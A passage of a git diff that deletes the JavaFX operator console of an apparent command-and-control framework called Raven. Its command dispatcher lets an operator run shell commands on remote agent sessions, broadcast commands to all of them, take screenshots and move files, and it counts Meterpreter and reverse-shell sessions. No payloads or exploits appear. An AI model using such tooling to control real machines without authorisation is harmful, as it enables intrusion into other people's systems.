com.raven.interfaces.GUI.module.core.session.SessionManager; -import javafx.application.Platform; -import javafx.scene.control.TextField; - -import java.util.List; -import java.util.Map; -import java.util.Optional; -import java.util.concurrent.Executors; -import java.util.function.Consumer; - -public class CommandDispatcher { - - private final RavenServer Server; - private final TeamDatabase Db; - private final SessionManager SessionMgr; - private final Consumer LogSink; - private final String OperatorName; - - public CommandDispatcher(RavenServer server, TeamDatabase db, - SessionManager sessionMgr, - Consumer logSink, - String operatorName) { - this.Server = server; - this.Db = db; - this.SessionMgr = sessionMgr; - this.LogSink = logSink; - this.OperatorName = operatorName; - } - - public void Dispatch(String Cmd, TextField Input) { - if (Cmd == null || Cmd.isBlank()) return; - if (Server == null || !Server.IsRunning()) { - LogSink.accept("[!] Server not running"); - return; - } - String[] Parts = Cmd.trim().split("\\s+", 2); - switch (Parts[0].toLowerCase()) { - case "sessions", "agents" -> DispatchSessions(); - case "kill" -> DispatchKill(Parts); - case "status" -> DispatchStatus(); - case "stats" -> DispatchStats(); - case "tasks" -> DispatchTasks(); - case "broadcast" -> DispatchBroadcast(Parts); - case "exec" -> DispatchExec(Parts.length > 1 ? Parts[1] : ""); - case "whoami", "screenshot" -> DispatchShortcut(Parts, Parts[0].toLowerCase()); - case "sleep" -> DispatchSleep(Parts); - case "download" -> DispatchDownload(Parts); - case "upload" -> DispatchUpload(Parts); - case "sysinfo", "info" -> DispatchSysInfo(Parts.length > 1 ? Parts[1] : ""); - case "note" -> DispatchNote(Parts.length > 1 ? Parts[1] : ""); - case "getnote" -> DispatchGetNote(Parts.length > 1 ? Parts[1] : ""); - case "history" -> DispatchHistory(Parts.length > 1 ? Parts[1] : ""); - default -> LogSink.accept("[!] Unknown command: " + Parts[0]); - } - if (Input != null) Platform.runLater(Input::clear); - } - - private void DispatchSessions() { - int N = Server.GetSessions().Count(); - LogSink.accept("[*] Sessions (" + N + "):"); - Server.GetSessions().GetAll() - .forEach(S -> LogSink.accept(" #" + S.GetId() + " [" + S.GetDisplayName() + "] " - + S.GetUser() + "@" + S.GetHostname() + " key=" + S.GetSessionKey())); - Platform.runLater(SessionMgr::Refresh); - } - - private void DispatchKill(String[] Parts) { - if (Parts.length < 2) { LogSink.accept("[!] Usage: kill "); return; } - try { - int Id = Integer.parseInt(Parts[1].trim()); - Server.RemoveSession(Id); - LogSink.accept("[+] Session-" + Id + " terminated"); - Platform.runLater(SessionMgr::Refresh); - } catch (NumberFormatException E) { - LogSink.accept("[!] Invalid session ID"); - } - } - - private void DispatchStatus() { - LogSink.accept("[*] Status: " + (Server.IsRunning() ? "ONLINE" : "OFFLINE")); - LogSink.accept("[*] Mode: " + Server.GetMode().name() + " | Host: " + Server.GetHost() + ":" + Server.GetPort()); - LogSink.accept("[*] Sessions: " + Server.GetSessions().Count()); - LogSink.accept("[*] Key: " + Server.GetKeyBase64()); - } - - private void DispatchStats() { - Map Stats = Server.GetSessions().GetStats(); - LogSink.accept("[*] Total: " + Stats.get("Total")); - LogSink.accept("[*] RAVEN: " + Stats.get("RAVEN")); - LogSink.accept("[*] Meterpreter: " + Stats.get("METERPRETER")); - LogSink.accept("[*] Reverse Shell: " + Stats.get("REVERSE_SHELL")); - } - - private void DispatchTasks() { - LogSink.accept("[*] Active sessions: " + Server.GetSessions().Count() + " — use exec/broadcast to run tasks"); - } - - private void DispatchBroadcast(String[] Parts) { - if (Parts.length < 2) { LogSink.accept("[!] Usage: broadcast "); return; } - String BCmd = Parts[1]; - LogSink.accept("[>] Broadcast → " + BCmd); - Map R = Server.BroadcastAll(BCmd); - R.forEach((Id, Res) -> LogSink.accept(" [" + Id + "] " + (Boolean.parseBoolean(Res[0]) ? "✔ " : "✘ ") + Res[1])); - } - - private void DispatchExec(String Body) { - String[] Args = Body.trim().split("\\s+", 2); - if (Args.length < 2) { LogSink.accept("[!] Usage: exec "); return; } - try { - int Sid = Integer.parseInt(Args[0]); - SessionMgr.RunAgentCommand(Sid, Args[1], OperatorName, LogSink); - } catch (NumberFormatException E) { - LogSink.accept("[!] Invalid session ID"); - } - } - - private void DispatchShortcut(String[] Parts, String Command) { - if (Parts.length < 2) { LogSink.accept("[!] Usage: " + Command + " "); return; } - try { - SessionMgr.RunAgentCommand(Integer.parseInt(Parts[1]), Command, OperatorName, LogSink); - } catch (NumberFormatException E) { - LogSink.accept("[!] Invalid session ID"); - } - } - - private void DispatchSleep(String[] Parts) { - if (Parts.length < 2) { LogSink.accept("[!] Usage: sleep "); return; } - String[] Args = Parts[1].split("\\s+", 2); - if (Args.length < 2) { LogSink.accept("[!] Usage: sleep "); return; } - try { - SessionMgr.RunAgentCommand(Integer.parseInt(Args[0]), "sleep " + Args[1], OperatorName, LogSink); - } catch (NumberFormatException E) { - LogSink.accept("[!] Invalid session ID"); - } - } - - private void DispatchDownload(String[] Parts) { - if (Parts.length < 2) { LogSink.accept("[!] Usage: download "); return; } - String[] Args = Parts[1].split("\\s+", 2); - if (Args.length < 2) { LogSink.accept("[!] Usage: download "); return; } - try { - SessionMgr.RunAgentCommand(Integer.parseInt(Args[0]), "download " + Args[1], OperatorName, LogSink); - } catch (NumberFormatException E) { - LogSink.accept("[!] Invalid session ID"); - } - } - - private void DispatchUpload(String[] Parts) { - if (Parts.length < 2) { LogSink.accept("[!] Usage: upload "); return; } - String[] Args = Parts[1].split("\\s+", 3); - if (Args.length < 3) { LogSink.accept("[!] Usage: upload "); return; } - try { - SessionMgr.RunAgentCommand(Integer.parseInt(Args[0]), "upload " + Args[1] + " " + Args[2], OperatorName, LogSink); - } catch (NumberFormatException E) { - LogSink.accept("[!] Invalid session ID"); - } - } - - private void DispatchSysInfo(String SidText) { - try { - int Sid = Integer.parseInt(SidText.trim()); - Optional Opt = SessionMgr.Get(Sid); - if (Opt.isEmpty()) { LogSink.accept("[!] Session not found"); return; } - Session S = Opt.get(); - LogSink.accept("[*] ID=" + S.GetId() + " Name=" + S.GetDisplayName() + " Type=" + S.GetSessionType().name()); - LogSink.accept("[*] Host=" + S.GetHostname() + " User=" + S.GetUser() + " OS=" + S.GetOs() + " Arch=" + S.GetArch()); - LogSink.accept("[*] IP=" + S.GetAgentIp() + " Key=" + S.GetSessionKey() + " mTLS=" + S.IsMtlsEnabled()); - LogSink.accept("[*] Note=" + Db.GetAgentNote(Sid)); - } catch (Exception E) { - LogSink.accept("[!] Usage: sysinfo "); - } - } - - private void DispatchNote(String Body) { - String[] Args = Body.trim().split("\\s+", 2); - if (Args.length < 2) { LogSink.accept("[!] Usage: note "); return; } - try { - int Sid = Integer.parseInt(Args[0]); - Db.SetAgentNote(Sid, Args[1]); - LogSink.accept("[+] Note saved for SESSION-" + Sid); - } catch (NumberFormatException E) { - LogSink.accept("[!] Invalid session ID"); - } - } - - private void DispatchGetNote(String SidText) { - try { - int Sid = Integer.parseInt(SidText.trim()); - String Note = Db.GetAgentNote(Sid); - LogSink.accept("[*] Note SESSION-" + Sid + ": " + (Note.isEmpty() ? "(empty)" : Note)); - } catch (Exception E) { - LogSink.accept("[!] Usage: getnote "); - } - } - - private void DispatchHistory(String Body) { - String[] Args = Body == null || Body.isBlank() ? new String[0] : Body.trim().split("\\s+"); - int Sid = Args.length > 0 ? ParseInt(Args[0], 0) : 0; - int Limit = Args.length > 1 ? ParseInt(Args[1], 25) : 25; - List> Hist = Db.GetCommandHistory(Sid, Limit); - LogSink.accept("[*] History entries: " + Hist.size()); - for (Map R : Hist) - LogSink.accept(" #" + R.getOrDefault("AgentId", "?") + " " + R.getOrDefault("Operator", "?") - + " " + R.getOrDefault("Command", "") + " [" + R.getOrDefault("Timestamp", "") + "]"); - } - - private int ParseInt(String Value, int Def) { - try { return Integer.parseInt(Value.trim()); } - catch (Exception E) { return Def; } - } -} diff --git a/src/main/java/com/raven/interface/GUI/module/core/server/ServerController.java b/src/main/java/com/raven/interface/GUI/module/core/server/ServerController.java deleted file mode 100644 index 8efd9dd..0000000 --- a/src/main/java/com/raven/interface/GUI/module/core/server/ServerController.java +++ /dev/null @@ -1,105 +0,0 @@ -package com.raven.interfaces.GUI.module.core.server; - -import com.raven.core.event.EventManager.EventType; -import com.raven.core.server.ListenerMode; -import com.raven.core.server.RavenServer; -import com.raven.utils.ServerConfig; -import javafx.application.Platform; -import javafx.scene.control.Button; -import javafx.scene.control.Label; -import javafx.scene.paint.Color; - -import java.time.Instant; -import java.util.Map; -import java.util.function.BiConsumer; -import java.util.function.Consumer; - -public class ServerController { - - private RavenServer Server; - private Instant StartTime; - private final ServerConfig Config; - - private final Label StatusLabel; - private final Label ServerStatusLabel; - private final Label ServerInfoLabel; - private final Button StartBtn; - private final Button StopBtn; - - private final Consumer LogSink; - private final BiConsumer> EventHandler; - private final Runnable OnStart; - private final Runnable OnStop; - - private static final String RedColor = "#ff1f3d"; - private static final String TextColor = "#ffffff"; - - public ServerController(ServerConfig config, - Label statusLabel, - Label serverStatusLabel, - Label serverInfoLabel, - Button startBtn, - Button stopBtn, - Consumer logSink, - BiConsumer> eventHandler, - Runnable onStart, - Runnable onStop) { - this.Config = config; - this.StatusLabel = statusLabel; - this.ServerStatusLabel = serverStatusLabel; - this.ServerInfoLabel = serverInfoLabel; - this.StartBtn = startBtn; - this.StopBtn = stopBtn; - this.LogSink = logSink; - this.EventHandler = eventHandler; - this.OnStart = onStart; - this.OnStop = onStop; - } - - public void Start(String Host, int Port) { - Server = new RavenServer(Host, Port, ListenerMode.FromString(Config.GetServerMode()), Config); - Server.AddEventListener(EventHandler); - boolean[] Result = Server.StartServer(); - if (!Result[0]) { - LogSink.accept("[!] Failed to start server"); - return; - } - StartTime = Instant.now(); - Thread T = new Thread(Server::AcceptConnections, "AcceptConnections"); - T.setDaemon(true); - T.start(); - Platform.runLater(() -> { - ServerStatusLabel.setText("● ONLINE"); - ServerStatusLabel.setTextFill(Color.web(TextColor)); - ServerInfoLabel.setText(Host + ":" + Port); - StatusLabel.setText("● Online"); - StatusLabel.setTextFill(Color.web(TextColor)); - StartBtn.setDisable(true); - StopBtn.setDisable(false); - }); - LogSink.accept("[+] Server started on " + Host + ":" + Port); - LogSink.accept("[+] Session Key: " + Server.GetKeyBase64()); - if (OnStart != null) OnStart.run(); - } - - public void Stop() { - if (Server == null) return; - Server.StopServer(); - StartTime = null; - Platform.runLater(() -> { - ServerStatusLabel.setText("● OFFLINE"); - ServerStatusLabel.setTextFill(Color.web(RedColor)); - ServerInfoLabel.setText("Not running"); - StatusLabel.setText("● Offline"); - StatusLabel.setTextFill(Color.web(RedColor)); - StartBtn.setDisable(false); - StopBtn.setDisable(true); - }); - LogSink.accept("[!] Server stopped"); - if (OnStop != null) OnStop.run(); - } - - public RavenServer GetServer() { return Server; } - public Instant GetStartTime() { return StartTime; } - public boolean IsRunning() { return Server != null && Server.IsRunning(); } -} diff --git a/src/main/java/com/raven/interface/GUI/module/core/session/SessionManager.java b/src/main/java/com/raven/interface/GUI/module/core/session/SessionManager.java deleted file mode 100644 index 510e7eb..0000000 --- a/src/main/java/com/raven/interface/GUI/module/core/session/SessionManager.java +++ /dev/null @@ -1,60 +0,0 @@ -package com.raven.interfaces.GUI.module.core.session; - -import com.raven.core.db.TeamDatabase; -import com.raven.core.server.RavenServer; -import com.raven.core.session.Session; -import javafx.application.Platform; -import javafx.collections.ObservableList; -import javafx.scene.control.Label; - -import java.util.Optional; -import java.util.concurrent.Executors; - -public class SessionManager { - - private final RavenServer Server; - private final TeamDatabase Db; - private final ObservableList SessionRows; - private final Label SessionCountLabel; - - public SessionManager(RavenServer server, TeamDatabase db, - ObservableList rows, Label countLabel) { - this.Server = server; - this.Db = db; - this.SessionRows = rows; - this.SessionCountLabel = countLabel; - } - - public void Refresh() { - if (Server == null) return; - Platform.runLater(() -> { - SessionRows.clear(); - for (Session S : Server.GetSessions().GetAll()) SessionRows.add(new SessionRow(S)); - int N = SessionRows.size(); - SessionCountLabel.setText("⊟ " + N + " Session" + (N != 1 ? "s" : "")); - }); - } - - public void Kill(int Sid) { - Server.RemoveSession(Sid); - Refresh(); - } - - public void RunAgentCommand(int Sid, String Cmd, String OperatorName, java.util.function.Consumer LogSink) { - if (Server == null || !Server.IsRunning()) { - LogSink.accept("[!] Server not running"); - return; - } - LogSink.accept("[>] SESSION-" + Sid + " → " + Cmd); - Executors.newSingleThreadExecutor().submit(() -> { - String[] Result = Server.ExecuteCommand(Sid, Cmd); - boolean Ok = Boolean.parseBoolean(Result[0]); - Db.SaveCommandLog(Sid, OperatorName != null ? OperatorName : "gui", Cmd, Result[1], Ok); - Platform.runLater(() -> LogSink.accept((Ok ? "[+]" : "[!]") + " SESSION-" + Sid + ": " + Result[1])); - }); - } - - public Optional Get(int Sid) { - return Server.GetSessions().Get(Sid); - } -} diff --git a/src/main/java/com/raven/interface/GUI/module/core/session/SessionRow.java b/src/main/java/com/raven/interface/GUI/module/core/session/SessionRow.java deleted file mode 100644 index 53d97b6..0000000 --- a/src/main/java/com/raven/interface/GUI/module/core/session/SessionRow.java +++ /dev/null @@ -1,38 +0,0 @@ -package com.raven.interfaces.GUI.module.core.session; - -import com.raven.core.session.Session; -import javafx.beans.property.SimpleStringProperty; - -public class SessionRow { - - private final SimpleStringProperty Id, Type, Name, Ip, Os, User, Host, Joined; - - public SessionRow(Session S) { - Id = new SimpleStringProperty(String.valueOf(S.GetId())); - Type = new SimpleStringProperty(S.GetSessionType().name()); - Name = new SimpleStringProperty(S.GetDisplayName()); - Ip = new SimpleStringProperty(S.GetAgentIp()); - Os = new SimpleStringProperty(S.GetOs()); - User = new SimpleStringProperty(S.GetUser()); - Host = new SimpleStringProperty(S.GetHostname()); - Joined = new SimpleStringProperty(S.GetSessionKey()); - } - - public String getId() { return Id.get(); } - public String getType() { return Type.get(); } - public String getName() { return Name.get(); } - public String getIp() { return Ip.get(); } - public String getOs() { return Os.get(); } - public String getUser() { return User.get(); } - public String getHost() { return Host.get(); } - public String getJoined() { return Joined.get(); } - - public SimpleStringProperty IdProperty() { return Id; } - public SimpleStringProperty TypeProperty() { return Type; } - public SimpleStringProperty NameProperty() { return Name; } - public SimpleStringProperty IpProperty() { return Ip; } - public SimpleStringProperty OsProperty() { return Os; } - public SimpleStringProperty UserProperty() { return User; } - public SimpleStringProperty HostProperty() { return Host; } - public SimpleStringProperty JoinedProperty() { return Joined; } -} diff --git a/src/main/java/com/raven/interface/GUI/styles/css/raven.css b/src/main/java/com/raven/interface/GUI/styles/css/raven.css deleted file mode 100644 index 50581bb..0000000 --- a/src/main/java/com/raven/interface/GUI/styles/css/raven.css +++ /dev/null @@ -1,403 +0,0 @@ -/* ═══════════════════════════════════════════ - RAVEN — Main Stylesheet - ═══════════════════════════════════════════ */ - -/* ── Root ────────────────────────────────── */ -.root { - -fx-background-color: #050505; - -fx-font-family: "Segoe UI"; -} - -/* ── Sidebar ─────────────────────────────── */ -.sidebar { - -fx-background-color: linear-gradient(to bottom, #120006, #050505); - -fx-border-color: transparent #ff1f3d transparent transparent; - -fx-border-width: 0 1.5 0 0; -} - -.sidebar-divider { - -fx-background-color: #2a2a31; - -fx-padding: 4 16 4 16; -} - -.sidebar-footer { - -fx-border-color: #2a2a31 transparent transparent transparent; - -fx-border-width: 1 0 0 0; -} - -.logo-icon { - -fx-text-fill: #ff1f3d; - -fx-font-size: 38px; - -fx-font-weight: bold; -} - -.logo-name { - -fx-text-fill: #ffffff; - -fx-font-size: 28px; - -fx-font-weight: bold; -} - -.logo-tag { - -fx-text-fill: #a7a7ad; - -fx-font-size: 10px; -} - -/* ── Mini Info Cards ─────────────────────── */ -.meta-info-card { - -fx-background-color: rgba(255, 31, 61, 0.08); - -fx-background-radius: 12; - -fx-border-color: rgba(255, 31, 61, 0.45); - -fx-border-radius: 12; - -fx-padding: 10 12 10 12; -} - -/* ── Top Bar ─────────────────────────────── */ -.topbar { - -fx-background-color: linear-gradient(to right, #050505, #120006); - -fx-border-color: transparent transparent #ff1f3d transparent; - -fx-border-width: 0 0 1.5 0; -} - -.topbar-title { - -fx-text-fill: #ffffff; - -fx-font-size: 20px; - -fx-font-weight: bold; -} - -.topbar-sub { - -fx-text-fill: #a7a7ad; - -fx-font-size: 10px; -} - -/* ── Tab Pane ────────────────────────────── */ -.tab-pane { - -fx-background-color: #050505; - -fx-tab-min-height: 42px; - -fx-tab-max-height: 42px; -} - -.tab-pane .tab-header-area .tab-header-background { - -fx-background-color: #0b0b0d; -} - -.tab-pane .tab { - -fx-background-color: transparent; - -fx-text-fill: #a7a7ad; - -fx-font-size: 11px; - -fx-font-weight: bold; - -fx-cursor: hand; -} - -.tab-pane .tab:selected { - -fx-background-color: #ff1f3d; -} - -.tab-pane .tab:selected .tab-label { - -fx-text-fill: #ffffff; -} - -/* ── Tab Content ─────────────────────────── */ -.tab-content { - -fx-background-color: #050505; -} - -.tab-scroll { - -fx-background-color: #050505; -} - -.tab-scroll > .viewport { - -fx-background-color: #050505; -} - -/* ── Panel Card ──────────────────────────── */ -.panel-card { - -fx-background-color: linear-gradient(to bottom right, #111114, #090909); - -fx-background-radius: 18; - -fx-border-color: #2a2a31; - -fx-border-radius: 18; - -fx-effect: dropshadow(gaussian, rgba(255, 31, 61, 0.12), 18, 0.16, 0, 8); -} - -.stat-card { - -fx-background-color: linear-gradient(to bottom right, #111114, #070707); - -fx-background-radius: 18; - -fx-border-radius: 18; - -fx-effect: dropshadow(gaussian, rgba(255, 31, 61, 0.16), 22, 0.22, 0, 10); - -fx-min-height: 104; -} - -/* ── Input Fields ────────────────────────── */ -.input-field { - -fx-background-color: #17171c; - -fx-text-fill: #ffffff; - -fx-prompt-text-fill: #a7a7ad; - -fx-font-family: "Consolas"; - -fx-font-size: 11px; - -fx-padding: 9 12 9 12; - -fx-background-radius: 9; - -fx-border-color: #2a2a31; - -fx-border-radius: 9; -} - -.input-field:focused { - -fx-border-color: #ff1f3d; - -fx-effect: dropshadow(gaussian, rgba(255, 31, 61, 0.25), 8, 0.2, 0, 0); -} - -/* ── Terminal Area ───────────────────────── */ -.terminal-area { - -fx-background-color: #050812; - -fx-control-inner-background: #050812; - -fx-text-fill: #ffffff; - -fx-highlight-fill: #ff1f3d; - -fx-font-family: "Consolas"; - -fx-font-size: 11px; - -fx-padding: 12 14 12 14; - -fx-background-radius: 12; - -fx-border-color: #2a2a31; - -fx-border-radius: 12; -} - -.terminal-area .content { - -fx-background-color: #050812; -} - -.terminal-area .scroll-pane { - -fx-background-color: #050812; -} - -/* ── Buttons ─────────────────────────────── */ -.btn-danger { - -fx-background-color: #ff1f3d; - -fx-text-fill: #ffffff; - -fx-border-color: #ff1f3d; - -fx-border-width: 1.2; - -fx-border-radius: 10; - -fx-font-family: "Segoe UI"; - -fx-font-size: 10px; - -fx-font-weight: bold; - -fx-padding: 8 16 8 16; - -fx-background-radius: 10; - -fx-cursor: hand; -} - -.btn-danger:hover { - -fx-background-color: #cc1830; - -fx-effect: dropshadow(gaussian, rgba(255, 31, 61, 0.4), 10, 0.3, 0, 0); -} - -.btn-danger:disabled { - -fx-opacity: 0.4; -} - -.btn-outline { - -fx-background-color: transparent; - -fx-text-fill: #ffffff; - -fx-border-color: #ffffff; - -fx-border-width: 1.2; - -fx-border-radius: 10; - -fx-font-family: "Segoe UI"; - -fx-font-size: 10px; - -fx-font-weight: bold; - -fx-padding: 8 16 8 16; - -fx-background-radius: 10; - -fx-cursor: hand; -} - -.btn-outline:hover { - -fx-background-color: rgba(255, 255, 255, 0.08); -} - -.btn-accent { - -fx-background-color: #ffffff; - -fx-text-fill: #050505; - -fx-border-color: #ffffff; - -fx-border-width: 1.2; - -fx-border-radius: 10; - -fx-font-family: "Segoe UI"; - -fx-font-size: 10px; - -fx-font-weight: bold; - -fx-padding: 8 16 8 16; - -fx-background-radius: 10; - -fx-cursor: hand; -} - -.btn-accent:hover { - -fx-background-color: #d6d6db; -} - -/* ── Session Table ───────────────────────── */ -.session-table { - -fx-background-color: #101014; - -fx-control-inner-background: #101014; - -fx-table-cell-border-color: #2a2a31; - -fx-table-header-border-color: #2a2a31; - -fx-text-fill: #ffffff; - -fx-background-radius: 12; -} - -.session-table .column-header-background { - -fx-background-color: #17171c; -} - -.session-table .column-header .label { - -fx-text-fill: #a7a7ad; - -fx-font-weight: bold; - -fx-font-size: 10px; -} - -.session-table .table-row-cell { - -fx-background-color: #101014; - -fx-border-color: transparent transparent #2a2a31 transparent; - -fx-border-width: 0 0 1 0; - -fx-text-fill: #ffffff; -} - -.session-table .table-row-cell:selected { - -fx-background-color: rgba(255, 31, 61, 0.15); - -fx-border-color: transparent transparent #ff1f3d transparent; -} - -.session-table .table-row-cell:hover { - -fx-background-color: rgba(255, 255, 255, 0.04); -} - -.session-table .table-cell { - -fx-text-fill: #ffffff; - -fx-alignment: CENTER_LEFT; - -fx-font-size: 11px; -} - -/* ── Labels ──────────────────────────────── */ -.muted-text { - -fx-text-fill: #a7a7ad; - -fx-font-size: 9px; -} - -.accent-text { - -fx-text-fill: #ffffff; - -fx-font-size: 9px; -} - -.label-danger { - -fx-text-fill: #ff1f3d; - -fx-font-size: 9px; -} - -.label-danger-bold { - -fx-text-fill: #ff1f3d; - -fx-font-size: 9px; - -fx-font-weight: bold; -} - -.status-offline { - -fx-text-fill: #ff1f3d; - -fx-font-size: 11px; - -fx-font-weight: bold; -} - -.status-online { - -fx-text-fill: #ffffff; - -fx-font-size: 11px; - -fx-font-weight: bold; -} - -.server-status-offline { - -fx-text-fill: #ff1f3d; - -fx-font-size: 16px; - -fx-font-weight: bold; -} - -.server-status-online { - -fx-text-fill: #ffffff; - -fx-font-size: 16px; - -fx-font-weight: bold; -} - -.prompt-label { - -fx-text-fill: #ffffff; - -fx-font-size: 11px; - -fx-font-weight: bold; -} - -.prompt-danger { - -fx-text-fill: #ff1f3d; - -fx-font-size: 16px; - -fx-font-weight: bold; -} - -/* ── Dividers ────────────────────────────── */ -.v-divider { - -fx-background-color: #2a2a31; - -fx-pref-width: 1; - -fx-pref-height: 20; -} - -.separator { - -fx-background-color: #2a2a31; -} - -/* ── Scrollbars ──────────────────────────── */ -.scroll-bar { - -fx-background-color: #0b0b0d; -} - -.scroll-bar .thumb { - -fx-background-color: #2a2a31; - -fx-background-radius: 4; -} - -.scroll-bar .thumb:hover { - -fx-background-color: #ff1f3d; -} - -.scroll-bar .track { - -fx-background-color: transparent; -} - -.scroll-bar .increment-button, -.scroll-bar .decrement-button { - -fx-background-color: transparent; - -fx-padding: 0; -} - -/* ── Login Grid ──────────────────────────── */ -.login-grid { - -fx-background-color: #050505; -} - -/* ── Alert / Dialog ──────────────────────── */ -.dialog-pane { - -fx-background-color: #050505; - -fx-border-color: #2a2a31; -} - -.dialog-pane .header-panel { - -fx-background-color: #0b0b0d; -} - -.dialog-pane .header-panel .label { - -fx-text-fill: #ffffff; - -fx-font-weight: bold; -} - -.dialog-pane .content.label { - -fx-text-fill: #a7a7ad; -} - -.dialog-pane .button-bar .button { - -fx-background-color: #ff1f3d; - -fx-text-fill: #ffffff; - -fx-border-radius: 8; - -fx-background-radius: 8; - -fx-cursor: hand; -} - -/* ── Toolbar Row ─────────────────────────── */ -.toolbar { - -fx-padding: 0; -} - -.cmd-row { - -fx-padding: 0; -} diff --git a/src/main/java/com/raven/interface/GUI/styles/xml/Commands.fxml b/src/main/java/com/raven/interface/GUI/styles/xml/Commands.fxml deleted file mode 100644 index 272ebf5..0000000 --- a/src/main/java/com/raven/interface/GUI/styles/xml/Commands.fxml +++ /dev/null @@ -1,39 +0,0 @@ - - - - - - - - - - - - - - - -